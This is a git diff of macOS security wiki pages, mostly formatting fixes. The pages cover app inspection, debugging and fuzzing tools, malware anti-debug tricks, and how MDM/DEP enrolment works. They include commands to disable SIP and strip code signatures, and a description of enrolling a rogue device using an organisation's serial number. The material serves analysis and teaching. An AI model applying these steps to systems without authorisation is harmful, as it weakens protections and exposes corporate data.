an application include: + * Pairs that may be of interest when analyzing an application include:\ - * **CFBundleExecutable** + * **CFBundleExecutable** - Contains the **name of the application’s binary** \(found in Contents/MacOS\). + Contains the **name of the application’s binary** (found in Contents/MacOS). - * **CFBundleIdentifier** + * **CFBundleIdentifier** - Contains the application’s bundle identifier \(often used by the system to **globally** **identify** the application\). + Contains the application’s bundle identifier (often used by the system to **globally** **identify** the application). - * **LSMinimumSystemVersion** + * **LSMinimumSystemVersion** - Contains the **oldest** **version** of **macOS** that the application is compatible with. + Contains the **oldest** **version** of **macOS** that the application is compatible with. ### Objective-C -Programs written in Objective-C **retain** their class declarations **when** **compiled** into \(Mach-O\) binaries. Such class declarations **include** the name and type of: +Programs written in Objective-C **retain** their class declarations **when** **compiled** into (Mach-O) binaries. Such class declarations **include** the name and type of: * The class * The class methods @@ -263,15 +261,15 @@ Note that this names can be obfuscated to make the reversing of the binary more There are some projects that allow to generate a binary executable by MacOS containing script code which will be executed. Some examples are: -* **Platypus**: Generate MacOS binary executing ****shell scripts, Python, Perl, Ruby, PHP, Swift, Expect, Tcl, AWK, JavaScript, AppleScript or any other user-specified interpreter. +* **Platypus**: Generate MacOS binary executing** **shell scripts, Python, Perl, Ruby, PHP, Swift, Expect, Tcl, AWK, JavaScript, AppleScript or any other user-specified interpreter. * **It saves the script in `Contents/Resources/script`. So finding this script is a good indicator that Platypus was used.** -* **PyInstaller:** Python - * Ways to detect this is the use of the embedded ****string **“Py\_SetPythonHome”** or a a **call** into a function named **`pyi_main`.** -* **Electron:** JavaScript, HTML, and CSS. - * These binaries will use **Electron Framework.framework**. Moreover, the non-binary components \(e.g. JavaScript files\) maybe found in the application’s **`Contents/Resources/`** directory, achieved in `.asar` files. These binaries will use Electron Framework.framework. Moreover, the non-binary components \(e.g. JavaScript files\) maybe found in the application’s **`Contents/Resources/`** directory, achieved in **`.asar` files**. It's possible **unpack** such archives via the **asar** node module, or the **npx** **utility:** `npx asar extract StrongBox.app/Contents/Resources/app.asar appUnpacked` +* **PyInstaller: **Python + * Ways to detect this is the use of the embedded** **string** “Py_SetPythonHome” **or a a **call** into a function named **`pyi_main`.** +* **Electron: **JavaScript, HTML, and CSS. + * These binaries will use **Electron Framework.framework**. Moreover, the non-binary components (e.g. JavaScript files) maybe found in the application’s **`Contents/Resources/`** directory, achieved in `.asar` files. These binaries will use Electron Framework.framework. Moreover, the non-binary components (e.g. JavaScript files) maybe found in the application’s **`Contents/Resources/`** directory, achieved in **`.asar` files**. It's possible **unpack** such archives via the **asar** node module, or the **npx** **utility: **`npx asar extract StrongBox.app/Contents/Resources/app.asar appUnpacked`\ + ## References -* \*\*\*\*[**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)\*\*\*\* -* \*\*\*\*[**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)\*\*\*\* - +* ****[**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?\_encoding=UTF8\&me=\&qid=)**** +* ****[**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)**** diff --git a/macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md b/macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md index 97591c11..304b7a36 100644 --- a/macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md +++ b/macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md @@ -11,12 +11,12 @@ otool -tv /bin/ps #Decompile application ### SuspiciousPackage -\*\*\*\*[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) is a tool useful to inspect **.pkg** files \(installers\) and see what is inside before installing it. +****[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) is a tool useful to inspect **.pkg** files (installers) and see what is inside before installing it.\ These installers have `preinstall` and `postinstall` bash scripts that malware authors usually abuse to **persist** **the** **malware**. ### hdiutil -This tool allows to **mount** Apple disk images \(**.dmg**\) files to inspect them before running anything: +This tool allows to **mount** Apple disk images (**.dmg**) files to inspect them before running anything: ```bash hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg @@ -28,38 +28,38 @@ It will be mounted in `/Volumes` When a function is called in a binary that uses objective-C, the compiled code instead of calling that function, it will call **`objc_msgSend`**. Which will be calling the final function: -![](../../.gitbook/assets/image%20%28559%29.png) +![](<../../.gitbook/assets/image (560).png>) The params this function expects are: -* The first parameter \(**self**\) is "a pointer that points to the **instance of the class that is to receive the message**". Or more simply put, it’s the object that the method is being invoked upon. If the method is a class method, this will be an instance of the class object \(as a whole\), whereas for an instance method, self will point to an instantiated instance of the class as an object. -* The second parameter, \(**op**\), is "the selector of the method that handles the message". Again, more simply put, this is just the **name of the method.** -* The remaining parameters are any **values that are required by the method** \(op\). +* The first parameter (**self**) is "a pointer that points to the **instance of the class that is to receive the message**". Or more simply put, it’s the object that the method is being invoked upon. If the method is a class method, this will be an instance of the class object (as a whole), whereas for an instance method, self will point to an instantiated instance of the class as an object. +* The second parameter, (**op**), is "the selector of the method that handles the message". Again, more simply put, this is just the **name of the method.** +* The remaining parameters are any** values that are required by the method** (op). -| **Argument** | **Register** | **\(for\) objc\_msgSend** | -| :--- | :--- | :--- | -| **1st argument** | **rdi** | **self: object that the method is being invoked upon** | -| **2nd argument** | **rsi** | **op: name of the method** | -| **3rd argument** | **rdx** | **1st argument to the method** | -| **4th argument** | **rcx** | **2nd argument to the method** | -| **5th argument** | **r8** | **3rd argument to the method** | -| **6th argument** | **r9** | **4th argument to the method** | -| **7th+ argument** | **rsp+ \(on the stack\)** | **5th+ argument to the method** | +| **Argument ** | **Register** | **(for) objc_msgSend** | +| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ | +| **1st argument ** | **rdi** | **self: object that the method is being invoked upon** | +| **2nd argument ** | **rsi** | **op: name of the method** | +| **3rd argument** | **rdx** | **1st argument to the method** | +| **4th argument** | **rcx** | **2nd argument to the method** | +| **5th argument** | **r8** | **3rd argument to the method** | +| **6th argument** | **r9** | **4th argument to the method** | +| **7th+ argument** |

rsp+
(on the stack)

| **5th+ argument to the method** | ### Packed binaries * Check for high entropy -* Check the strings \(is there is almost no understandable string, packed\) -* The UPX packer for MacOS generates a section called "\_\_XHDR" +* Check the strings (is there is almost no understandable string, packed) +* The UPX packer for MacOS generates a section called "\__XHDR" ## Dynamic Analysis {% hint style="warning" %} -Note that in order to debug binaries, **SIP needs to be disabled** \(`csrutil disable` or `csrutil enable --without debug`\) or to copy the binaries to a temporary folder and **remove the signature** with `codesign --remove-signature ` or allow the debugging of the binary \(you can use [this script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)\) +Note that in order to debug binaries, **SIP needs to be disabled **(`csrutil disable` or `csrutil enable --without debug`) or to copy the binaries to a temporary folder and **remove the signature **with `codesign --remove-signature `or allow the debugging of the binary (you can use [this script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)) {% endhint %} {% hint style="warning" %} -Note that in order to **instrument system binarie**s, \(such as `cloudconfigurationd`\) on macOS, **SIP must be disabled** \(just removing the signature won't work\). +Note that in order to **instrument system binarie**s, (such as `cloudconfigurationd`) on macOS, **SIP must be disabled** (just removing the signature won't work). {% endhint %} ### dtruss @@ -79,7 +79,7 @@ ktrace trace -s -S -t c -c ls | grep "ls(" ### dtrace -It allows users access to applications at an extremely **low level** and provides a way for users to **trace** **programs** and even change their execution flow. Dtrace uses **probes** which are **placed throughout the kernel** and are at locations such as the beginning and end of system calls. +It allows users access to applications at an extremely **low level **and provides a way for users to **trace** **programs** and even change their execution flow. Dtrace uses **probes** which are **placed throughout the kernel** and are at locations such as the beginning and end of system calls. The available probes of dtrace can be obtained with: @@ -93,7 +93,7 @@ dtrace -l | head 44 profile profile-199 ``` -The probe name consists of four parts: the provider, module, function, and name \(`fbt:mach_kernel:ptrace:entry`\). If you not specifies some part of the name, Dtrace will apply that part as a wildcard. +The probe name consists of four parts: the provider, module, function, and name (`fbt:mach_kernel:ptrace:entry`). If you not specifies some part of the name, Dtrace will apply that part as a wildcard. A more detailed explanation and more examples can be found in [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html) @@ -148,13 +148,13 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts" ### ProcessMonitor -\*\*\*\*[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) is a very useful tool to check the process related actions a process is performing \(for example, monitor which new processes a process is creating\). +****[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) is a very useful tool to check the process related actions a process is performing (for example, monitor which new processes a process is creating). ### FileMonitor -\*\*\*\*[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor) allows to monitor file events \(such as creation, modifications, and deletions\) providing detailed information about such events. +****[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor) allows to monitor file events (such as creation, modifications, and deletions) providing detailed information about such events. -### fs\_usage +### fs_usage Allows to follow actions performed by processes: @@ -165,12 +165,12 @@ fs_usage -w -f network curl #This tracks network actions ### TaskExplorer -\*\*\*\*[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) is useful to see the **libraries** used by a binary, the **files** it's using and the **network** connections. +****[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) is useful to see the **libraries** used by a binary, the **files** it's using and the **network** connections.\ It also checks the binary processes against **virustotal** and show information about the binary. ### lldb -**lldb** is the de **facto tool** for **macOS** binary **debugging**. +**lldb** is the de **facto tool **for **macOS** binary **debugging**. ```bash lldb ./malware.bin @@ -179,130 +179,30 @@ lldb -n malware.bin lldb -n malware.bin --waitfor ``` - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(lldb) Command - Description -
run (r) - Starting execution, which will continue unabated until a breakpoint is - hit or the process terminates.
continue (c) - Continue execution of the debugged process.
nexti (n) - Execute the next instruction. This command will skip over function calls.
stepi (s) - Execute the next instruction. Unlike the nexti command, this command will - step into function calls.
finish (f) - Execute the rest of the instructions in the current function (“frame”) - return and halt.
control + c - Pause execution. If the process has been run (r) or continued (c), this - will cause the process to halt ...wherever it is currently executing.
breakpoint (b) - -

b main

-

b -[NSDictionary objectForKey:]

-

b 0x0000000100004bd9

-

br l #Breakpoint list

-

br e/dis <num> #Enable/Disable breakpoint

-

breakpoint delete <num>

-
help - -

help breakpoint #Get help of breakpoint command

-

help memory write #Get help to write into the memory

-
reg - -

reg read $rax

-

reg write $rip 0x100035cc0

-
x/s <reg/memory address> - Display the memory as a null-terminated string.
x/i <reg/memory address> - Display the memory as assembly instruction.
x/b <reg/memory address> - Display the memory as byte.
print object (po) - -

This will print the object referenced by the param

-

po $raw

-

{ -

-

dnsChanger = { -

-

"affiliate" = ""; -

-

"blacklist_dns" = (); -

-

Note that most of Apple’s Objective-C APIs or methods return objects, - and thus should be displayed via the “print object” (po) - command. If po doesn't produce a meaningful output use x/b -
-

-
memory write - memory write 0x100600000 -s 4 0x41414141 #Write AAAA in that address
+| **(lldb) Command** | **Description** | +| ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **run (r)** | Starting execution, which will continue unabated until a breakpoint is hit or the process terminates. | +| **continue (c)** | Continue execution of the debugged process. | +| **nexti (n)** | Execute the next instruction. This command will skip over function calls. | +| **stepi (s)** | Execute the next instruction. Unlike the nexti command, this command will step into function calls. | +| **finish (f)** | Execute the rest of the instructions in the current function (“frame”) return and halt. | +| **control + c** | Pause execution. If the process has been run (r) or continued (c), this will cause the process to halt ...wherever it is currently executing. | +| **breakpoint (b)** |

b main

b -[NSDictionary objectForKey:]

b 0x0000000100004bd9

br l #Breakpoint list

br e/dis <num> #Enable/Disable breakpoint

breakpoint delete <num>

| +| **help** |

help breakpoint #Get help of breakpoint command

help memory write #Get help to write into the memory

| +| **reg** |

reg read $rax

reg write $rip 0x100035cc0

| +| **x/s \** | Display the memory as a null-terminated string. | +| **x/i \** | Display the memory as assembly instruction. | +| **x/b \** | Display the memory as byte. | +| **print object (po)** |

This will print the object referenced by the param

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Note that most of Apple’s Objective-C APIs or methods return objects, and thus should be displayed via the “print object” (po) command. If po doesn't produce a meaningful output use x/b

| +| **memory write** | memory write 0x100600000 -s 4 0x41414141 #Write AAAA in that address | {% hint style="info" %} -When calling the **`objc_sendMsg`** function, the **rsi** register holds the **name of the method** as a null-terminated \(“C”\) string. To print the name via lldb do: +When calling the **`objc_sendMsg`** function, the **rsi** register holds the **name of the method **as a null-terminated (“C”) string. To print the name via lldb do: `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"` -`(lldb) print (char*)$rsi: -(char *) $1 = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"` +`(lldb) print (char*)$rsi:`\ +`(char *) $1 = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"` `(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"` {% endhint %} @@ -313,19 +213,20 @@ When calling the **`objc_sendMsg`** function, the **rsi** register holds the **n * The command **`sysctl hw.model`** returns "Mac" when the **host is a MacOS** but something different when it's a VM. * Playing with the values of **`hw.logicalcpu`** and **`hw.physicalcpu`** some malwares try to detect if it's a VM. -* Some malwares can also **detect** if the machine is **VMware** based on the MAC address \(00:50:56\). +* Some malwares can also **detect** if the machine is **VMware** based on the MAC address (00:50:56). * It's also possible to find **if a process is being debugged** with a simple code such us: * `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //process being debugged }` * It can also invoke the **`ptrace`** system call with the **`PT_DENY_ATTACH`** flag. This **prevents** a deb**u**gger from attaching and tracing. - * You can check if the **`sysctl`** or**`ptrace`** function is being **imported** \(but the malware could import it dynamically\) - * As noted in this writeup, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” : “_The message Process \# exited with **status = 45 \(0x0000002d\)** is usually a tell-tale sign that the debug target is using **PT\_DENY\_ATTACH**_” + * You can check if the **`sysctl` **or**`ptrace`** function is being **imported** (but the malware could import it dynamically) + * As noted in this writeup, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ + “_The message Process # exited with **status = 45 (0x0000002d)** is usually a tell-tale sign that the debug target is using **PT_DENY_ATTACH**_” ## Fuzzing -### [ReportCrash](https://ss64.com/osx/reportcrash.html#:~:text=ReportCrash%20analyzes%20crashing%20processes%20and%20saves%20a%20crash%20report%20to%20disk.&text=ReportCrash%20also%20records%20the%20identity,when%20a%20crash%20is%20detected.) +### [ReportCrash](https://ss64.com/osx/reportcrash.html#:\~:text=ReportCrash%20analyzes%20crashing%20processes%20and%20saves%20a%20crash%20report%20to%20disk.\&text=ReportCrash%20also%20records%20the%20identity,when%20a%20crash%20is%20detected.) -ReportCrash **analyzes crashing processes and saves a crash report to disk**. A crash report contains information that can **help a developer diagnose** the cause of a crash. -For applications and other processes **running in the per-user launchd context**, ReportCrash runs as a LaunchAgent and saves crash reports in the user's `~/Library/Logs/DiagnosticReports/` +ReportCrash **analyzes crashing processes and saves a crash report to disk**. A crash report contains information that can **help a developer diagnose** the cause of a crash.\ +For applications and other processes** running in the per-user launchd context**, ReportCrash runs as a LaunchAgent and saves crash reports in the user's `~/Library/Logs/DiagnosticReports/`\ For daemons, other processes **running in the system launchd context** and other privileged processes, ReportCrash runs as a LaunchDaemon and saves crash reports in the system's `/Library/Logs/DiagnosticReports` If you are worried about crash reports **being sent to Apple** you can disable them. If not, crash reports can be useful to **figure out how a server crashed**. @@ -350,7 +251,7 @@ While fuzzing in a MacOS it's important to not allow the Mac to sleep: #### SSH Disconnect -If you are fuzzing via a SSH connection it's important to make sure the session isn't going to day. So change the sshd\_config file with: +If you are fuzzing via a SSH connection it's important to make sure the session isn't going to day. So change the sshd_config file with: * TCPKeepAlive Yes * ClientAliveInterval 0 @@ -363,7 +264,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist ### Internal Handlers -[**Checkout this section**](./#file-extensions-apps) ****to find out how you can find which app is responsible of **handling the specified scheme or protocol**. +[**Checkout this section**](./#file-extensions-apps)** **to find out how you can find which app is responsible of **handling the specified scheme or protocol**. ### Enumerating Network Processes @@ -386,7 +287,6 @@ Or use `netstat` or `lsof` ## References -* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)\*\*\*\* -* \*\*\*\*[**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44)\*\*\*\* -* \*\*\*\*[**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)\*\*\*\* - +* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)**** +* ****[**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44)**** +* ****[**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)**** diff --git a/macos/macos-security-and-privilege-escalation/macos-mdm/README.md b/macos/macos-security-and-privilege-escalation/macos-mdm/README.md index 732d6c25..602e12b8 100644 --- a/macos/macos-security-and-privilege-escalation/macos-mdm/README.md +++ b/macos/macos-security-and-privilege-escalation/macos-mdm/README.md @@ -2,88 +2,88 @@ ## Basics -### What is MDM \(Mobile Device Management\)? +### What is MDM (Mobile Device Management)? -[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) \(MDM\) is a technology commonly used to **administer end-user computing devices** such as mobile phones, laptops, desktops and tablets. In the case of Apple platforms like iOS, macOS and tvOS, it refers to a specific set of features, APIs and techniques used by administrators to manage these devices. Management of devices via MDM requires a compatible commercial or open-source MDM server that implements support for the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). +[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is a technology commonly used to **administer end-user computing devices** such as mobile phones, laptops, desktops and tablets. In the case of Apple platforms like iOS, macOS and tvOS, it refers to a specific set of features, APIs and techniques used by administrators to manage these devices. Management of devices via MDM requires a compatible commercial or open-source MDM server that implements support for the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). * A way to achieve **centralized device management** * Requires an **MDM server** which implements support for the MDM protocol * MDM server can **send MDM commands**, such as remote wipe or “install this config” -### Basics What is DEP \(Device Enrolment Program\)? +### Basics What is DEP (Device Enrolment Program)? -The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) \(DEP\) is a service offered by Apple that **simplifies** Mobile Device Management \(MDM\) **enrollment** by offering **zero-touch configuration** of iOS, macOS, and tvOS devices. Unlike more traditional deployment methods, which require the end-user or administrator to take action to configure a device, or manually enroll with an MDM server, DEP aims to bootstrap this process, **allowing the user to unbox a new Apple device and have it configured for use in the organization almost immediately**. +The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) is a service offered by Apple that **simplifies** Mobile Device Management (MDM) **enrollment** by offering **zero-touch configuration** of iOS, macOS, and tvOS devices. Unlike more traditional deployment methods, which require the end-user or administrator to take action to configure a device, or manually enroll with an MDM server, DEP aims to bootstrap this process, **allowing the user to unbox a new Apple device and have it configured for use in the organization almost immediately**. Administrators can leverage DEP to automatically enroll devices in their organization’s MDM server. Once a device is enrolled, **in many cases it is treated as a “trusted”** device owned by the organization, and could receive any number of certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf). * Allows a device to automatically enroll in pre-configured MDM server the **first time it’s powered** on * Most useful when the **device** is **brand new** -* Can also be useful for **reprovisioning** workflows \(**wiped** with fresh install of the OS\) +* Can also be useful for **reprovisioning** workflows (**wiped** with fresh install of the OS) {% hint style="danger" %} -Unfortunately, if an organization has not taken additional steps to **protect their MDM enrollment**, a simplified end-user enrollment process through DEP can also mean a simplified process for **attackers to enroll a device of their choosing in the organization’s MDM** server, assuming the "identity" of a corporate device. +Unfortunately, if an organization has not taken additional steps to** protect their MDM enrollment**, a simplified end-user enrollment process through DEP can also mean a simplified process for** attackers to enroll a device of their choosing in the organization’s MDM** server, assuming the "identity" of a corporate device. {% endhint %} -### Basics What is SCEP \(Simple Certificate Enrolment Protocol\)? +### Basics What is SCEP (Simple Certificate Enrolment Protocol)? * A relatively old protocol, created before TLS and HTTPS were widespread. -* Gives clients a standardized way of sending a **Certificate Signing Request** \(CSR\) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate. +* Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate. -### What are Configuration Profiles \(aka mobileconfigs\)? +### What are Configuration Profiles (aka mobileconfigs)? * Apple’s official way of **setting/enforcing system configuration.** * File format that can contain multiple payloads. -* Based on property lists \(the XML kind\). +* Based on property lists (the XML kind). * “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018. ## Protocols ### MDM -* Combination of APNs \(**Apple server**s\) + RESTful API \(**MDM** **vendor** servers\) +* Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers) * **Communication** occurs between a **device** and a server associated with a **device** **management** **product** * **Commands** delivered from the MDM to the device in **plist-encoded dictionaries** -* All over **HTTPS**. MDM servers can be \(and are usually\) pinned. +* All over **HTTPS**. MDM servers can be (and are usually) pinned. * Apple grants the MDM vendor an **APNs certificate** for authentication ### DEP -* **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity \(undocumented\): +* **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented): * The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices. * The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status. * The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API. -* More modern and **JSON** based \(vs. plist\) +* More modern and **JSON** based (vs. plist) * Apple grants an **OAuth token** to the MDM vendor #### DEP "cloud service" API * RESTful * sync device records from Apple to the MDM server -* sync “DEP profiles” to Apple from the MDM server \(delivered by Apple to the device later on\) +* sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on) * A DEP “profile” contains: * MDM vendor server URL - * Additional trusted certificates for server URL \(optional pinning\) - * Extra settings \(e.g. which screens to skip in Setup Assistant\) + * Additional trusted certificates for server URL (optional pinning) + * Extra settings (e.g. which screens to skip in Setup Assistant) ## Steps for enrolment and management -1. Device record creation \(Reseller, Apple\): The record for the new device is created -2. Device record assignment \(Customer\): The device is assigned to a MDM server -3. Device record sync \(MDM vendor\): MDM sync the device records and push the DEP profiles to Apple -4. DEP check-in \(Device\): Device gets his DEP profile -5. Profile retrieval \(Device\) -6. Profile installation \(Device\) a. incl. MDM, SCEP and root CA payloads -7. MDM command issuance \(Device\) +1. Device record creation (Reseller, Apple): The record for the new device is created +2. Device record assignment (Customer): The device is assigned to a MDM server +3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple +4. DEP check-in (Device): Device gets his DEP profile +5. Profile retrieval (Device) +6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads +7. MDM command issuance (Device) -![](../../../.gitbook/assets/image%20%28564%29.png) +![](<../../../.gitbook/assets/image (564).png>) The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process. ### Step 4: DEP check-in - Getting the Activation Record -This part of the process occurs when a **user boots a Mac for the first time** \(or after a complete wipe\) +This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe) -![](../../../.gitbook/assets/image%20%28568%29.png) +![](<../../../.gitbook/assets/image (568).png>) or when executing `sudo profiles show -type enrollment` @@ -91,24 +91,24 @@ or when executing `sudo profiles show -type enrollment` * Activation Record is the internal name for **DEP “profile”** * Begins as soon as the device is connected to Internet * Driven by **`CPFetchActivationRecord`** -* Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" \(when the device is firstly booted\) or the **`profiles`** command will **contact this daemon** to retrieve the activation record. - * LaunchDaemon \(always runs as root\) +* Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record. + * LaunchDaemon (always runs as root) It follows a few steps to get the Activation Record performed by **`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe** 1. Retrieve **certificate** 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) -2. **Initialize** state from certificate \(**`NACInit`**\) - 1. Uses various device-specific data \(i.e. **Serial Number via `IOKit`**\) +2. **Initialize** state from certificate (**`NACInit`**) + 1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**) 3. Retrieve **session key** 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) -4. Establish the session \(**`NACKeyEstablishment`**\) +4. Establish the session (**`NACKeyEstablishment`**) 5. Make the request 1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }` - 2. The JSON payload is encrypted using Absinthe \(**`NACSign`**\) + 2. The JSON payload is encrypted using Absinthe (**`NACSign`**) 3. All requests over HTTPs, built-in root certificates are used -![](../../../.gitbook/assets/image%20%28566%29.png) +![](<../../../.gitbook/assets/image (566) (1).png>) The response is a JSON dictionary with some important data like: @@ -117,30 +117,30 @@ The response is a JSON dictionary with some important data like: ### **Step 5: Profile Retrieval** -![](../../../.gitbook/assets/image%20%28569%29.png) +![](<../../../.gitbook/assets/image (567).png>) * Request sent to **url provided in DEP profile**. * **Anchor certificates** are used to **evaluate trust** if provided. - * Reminder: the **anchor\_certs** property of the DEP profile + * Reminder: the **anchor_certs** property of the DEP profile * **Request is a simple .plist** with device identification * Examples: **UDID, OS version**. * CMS-signed, DER-encoded -* Signed using the **device identity certificate \(from APNS\)** +* Signed using the **device identity certificate (from APNS)** * **Certificate chain** includes expired **Apple iPhone Device CA** -![](../../../.gitbook/assets/image%20%28567%29%20%281%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%281%29.png) +![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (2).png>) ### Step 6: Profile Installation * Once retrieved, **profile is stored on the system** -* This step begins automatically \(if in **setup assistant**\) +* This step begins automatically (if in **setup assistant**) * Driven by **`CPInstallActivationProfile`** * Implemented by mdmclient over XPC - * LaunchDaemon \(as root\) or LaunchAgent \(as user\), depending on context + * LaunchDaemon (as root) or LaunchAgent (as user), depending on context * Configuration profiles have multiple payloads to install * Framework has a plugin-based architecture for installing profiles * Each payload type is associated with a plugin - * Can be XPC \(in framework\) or classic Cocoa \(in ManagedClient.app\) + * Can be XPC (in framework) or classic Cocoa (in ManagedClient.app) * Example: * Certificate Payloads use CertificateService.xpc @@ -151,8 +151,9 @@ Typically, **activation profile** provided by an MDM vendor will **include the f * `com.apple.security.pem`: to **install trusted CA certificates** to the device’s System Keychain. * Installing the MDM payload equivalent to **MDM check-in in the documentation** * Payload **contains key properties**: -* * MDM Check-In URL \(**`CheckInURL`**\) - * MDM Command Polling URL \(**`ServerURL`**\) + APNs topic to trigger it +* + * MDM Check-In URL (**`CheckInURL`**) + * MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it * To install MDM payload, request is sent to **`CheckInURL`** * Implemented in **`mdmclient`** * MDM payload can depend on other payloads @@ -177,13 +178,14 @@ Typically, **activation profile** provided by an MDM vendor will **include the f ### Enrolling Devices in Other Organisations -As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf). +As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected: -{% page-ref page="enrolling-devices-in-other-organisations.md" %} +{% content-ref url="enrolling-devices-in-other-organisations.md" %} +[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md) +{% endcontent-ref %} ## **References** * [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) * [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) - diff --git a/macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md 